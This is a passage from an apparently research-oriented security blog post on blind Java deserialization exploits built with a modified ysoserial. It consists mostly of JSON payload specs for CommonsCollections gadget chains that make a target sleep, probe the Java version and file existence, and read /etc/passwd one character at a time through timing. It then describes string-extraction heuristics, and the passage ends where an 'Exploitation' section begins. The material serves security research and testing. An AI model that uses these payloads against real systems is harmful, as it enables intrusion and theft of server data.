&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The same sleep payload but using another CommonsCollections path - corresponds to &lt;code class=&quot;highlighter-rouge&quot;&gt;CommonsCollections5&lt;/code&gt; in &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt;.
Moreover the payload is valid (default option) = it does not throw an exception after deserialization finishes (see &lt;a href=&quot;https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html&quot;&gt;Part 1&lt;/a&gt; for more info).&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;valid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;module&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This payload has 2 consequent commands. &lt;code class=&quot;highlighter-rouge&quot;&gt;java&lt;/code&gt; command is a macro we defined in the &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/main/java/ysoserial/blind/Generator.java&quot;&gt;Generator.java&lt;/a&gt; which detects
whether the running Java version is 8. It does that by Classloading a class that was added in Java 8. Thus
if Java 8 is there, class load succeeds and sleep is invoked. If lower java version is there, class loading fails with
exception and sleep is not invoked.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;java&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following payload is a simple &lt;code class=&quot;highlighter-rouge&quot;&gt;if (predicate) then action&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;fileEx&lt;/code&gt; is another macro which constructs a
predicate returning true if the given file exists. In this example the application sleeps in that case.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;if&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;pred&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fileEx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;then&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This payload reads the &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file from the file system, converts all characters to lowercase
 and tests if the result contains a string &lt;code class=&quot;highlighter-rouge&quot;&gt;nbusr123&lt;/code&gt;. If it does, the app sleeps for 5 seconds.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;if&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;pred&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fileRead&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;toLower&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;contains&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;nbusr123&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;then&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This one demonstrated how to do a binary search on the input string - in this case the &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file.
The page sleeps for 5 seconds if the 16th character of the file is in the regex range &lt;code class=&quot;highlighter-rouge&quot;&gt;[a-z]&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;if&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;pred&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fileRead&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;toLower&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;substr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;start&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;stop&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;matches&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[a-z]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;then&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The last example demonstrates the payload wrapping inside a HashMap.
This is handy if the application expects the HashMap after deserialization. With this we avoid ClassCastException.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;wrap&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;map&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;into&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;eval2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;java.util.HashMap m = new java.util.HashMap();m.put(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;world&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;);return m;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}}}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following JSON spec is different from others. It does not use Transformer chain, but javassist approach (see the &lt;a href=&quot;https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html&quot;&gt;Part 1&lt;/a&gt;).
With javassist exploit classes user does not have to express the logic with Transformers but can use Java code directly.
Obviously the expressivity in this case is much greater, more sophisticated payloads can be constructed (e.g., reverse shell).
This kind of exploits was not our main focus, but
we also support these for testing if the destination machine is vulnerable (see report below):&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;javassist&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cc3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;code&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;java.lang.Thread.sleep(5000L);&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To learn more on gadget construction consult the &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/main/java/ysoserial/blind/Generator.java&quot;&gt;Generator.java&lt;/a&gt; sources.&lt;/p&gt;

&lt;p&gt;User does not have to write JSON spec directly, &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/main/java/ysoserial/blind/Attack.java&quot;&gt;Attack.java&lt;/a&gt; implements few interesting use cases for the user (it
internally constructs JSON spec, payload is generated and used). But writing those may come handy if you want to
express a new functionality or build payloads separately - e.g., build a REST server generating payloads -
request = JSON spec, response = generated payload.&lt;/p&gt;

&lt;h2 id=&quot;strings&quot;&gt;String extraction&lt;/h2&gt;

&lt;p&gt;In order to extract the string, we first check if the string is null or empty.
If it’s not, we proceed to the step 2 - length extraction.&lt;/p&gt;

&lt;p&gt;We choose the simple algorithm to determine the string length: String.substr().
If the index is out of bounds (i.e., string does not contain it) the exception is thrown.&lt;/p&gt;

&lt;p&gt;We thus make guesses like:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// ok&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// ok&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// ok&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// ok&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// exception&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the exception is thrown we know the length of the string is somewhere in between 8 - 15.
The next step is to start a binary search in the interval 8 - 15 to find the exact length.&lt;/p&gt;

&lt;p&gt;Then we extract one character after another using a binary search on the alphabet.
It’s done by &lt;code class=&quot;highlighter-rouge&quot;&gt;String.matches()&lt;/code&gt; using regular expressions.
The alphabet consists of printable ASCII characters + binary null.&lt;/p&gt;

&lt;p&gt;Our regex alphabet:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;[\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The practical string extraction is demonstrated &lt;a href=&quot;#osname&quot;&gt;below&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;optimizations&quot;&gt;Optimizations&lt;/h3&gt;

&lt;p&gt;The approach can be optimized so the algorithm waits a minimum time during the binary search.
This can be done simply by a frequency analysis. In the particular step the algorithm
asks whether the character being found is located in the range &lt;code class=&quot;highlighter-rouge&quot;&gt;[BCDEFG]&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;[HIJKLM]&lt;/code&gt;.
For us it is better to wait the minimum time, thus check the group which is less probable to occur (thus we don’t sleep).&lt;/p&gt;

&lt;p&gt;Also the previous guesses can be used to further optimize the search, e.g., with more
complex frequency analysis (digrams, trigrams), autocomplete engines or AI.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

